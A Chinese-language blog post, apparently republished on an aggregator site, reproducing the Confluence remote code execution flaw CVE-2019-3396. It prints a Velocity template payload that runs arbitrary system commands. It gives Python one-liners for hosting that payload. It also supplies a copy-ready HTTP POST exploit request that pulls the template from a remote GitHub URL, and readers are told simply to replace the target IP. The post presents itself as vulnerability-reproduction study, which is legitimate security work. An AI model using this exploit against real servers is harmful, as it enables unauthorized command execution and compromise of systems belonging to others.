栏目分类:
子分类:
返回
终身学习网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
终身学习网 > IT > 软件开发 > 后端开发 > Java

2021-09-29

Java 更新时间:发布时间: 百科书网 趣学号
CVE-2019-3396 Confluence RCE漏洞简单粗暴复现

1,前言
网上也有很多关于该漏洞的说明和复现,不再做过多阐述,在复现该漏洞时踩了一些坑,然后发现了一个快速复现的方法,所以本篇文章介绍的是如何简单快速地复现该漏洞。想快速复现的直接看下面的poc即可。
2.漏洞复现过程简述
(1)vm文件
需求:需要远程包含一个后缀是.vm的文件,文件内容如下

#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
    $scan.next()
#end

注:网上的复现文章文件名是r.vm,文件名自己随便起,但是文件内容一定不要变
(2)复现步骤
注:我的服务器是ubuntu,vm文件随便放哪个目录都可以,但是记住http服务或者ftp服务的开启一定要在vm文件的目录下。这里我放到了tmp目录,vm文件名为cmd.vm
①将rm文件放入tmp目录
②自己的服务器搭建ftp服务或者http服务(python快速搭建)
搭建http服务

cd /tmp
python3 -m http.server

搭建ftp服务

cd /tmp
pip install pyftpdlib
python -m pyftpdlib -p  8888

②将poc中的_template的值改成
如果搭建的是http服务

http://yourip/cmd.vm

如果搭建的是ftp服务

ftp://yourip/cmd.vm

点击发包即可
注:上面的步骤我只是大概介绍,当作一个回顾,不详细,上面的详细步骤可以查看其它文章,写的都很详细。

3.快速复现
(1)问题
照着搭建ftp等方式去进行复现我竟然没有成功,ftp服务这些是没有问题的,测试过了,很是苦恼,但突然发现goby上面有该漏洞的poc,能够检测该漏洞,而且对于该漏洞还有验证功能,更厉害的是还有一个链接,该链接也就是那个vm文件,所以就不用再搭建http或者ftp环境了,直接把_template的值改成这个链接的即可。链接如下。

https://raw.githubusercontent.com/r33nd/confluence/master/cmd.vm

(2)完整POC如下

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: IP:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://IP:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 244


{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"https://raw.githubusercontent.com/r33nd/confluence/master/cmd.vm","cmd":"whoami"}}}

只需要改poc里面的IP地址(改为自己的目标IP),然后执行命令,poc中执行的是whoami命令。

补充:这个方法很简单,复制poc,把ip一换就好了;但是想要学习漏洞原理的小伙伴还是照着网上那种完整步骤复现的方法来进行操作。以我为例子,虽然我照着别人的复现过程失败了,但是我学会了使用python搭建http服务,ftp服务,复现漏洞期间还踩了许多坑(尴尬),如果是要追求速度的话,那么用这个方法还是会快一些的。
在多一句嘴,也是对我自己说的,复现漏洞这块,一定要有自己的思路,不要一味完全照搬别人的操作去,那样是很难学到东西的,多思考为什么是这样做的,我还可以用其他的方法吗?当然这只是指平常的学习,在实践的攻防等时候,高效的方法就是最好的方法!

对自己说:坚持!

转载请注明:文章转载自 www.051e.com
本文地址:http://www.051e.com/it/275524.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 ©2023-2025 051e.com

ICP备案号:京ICP备12030808号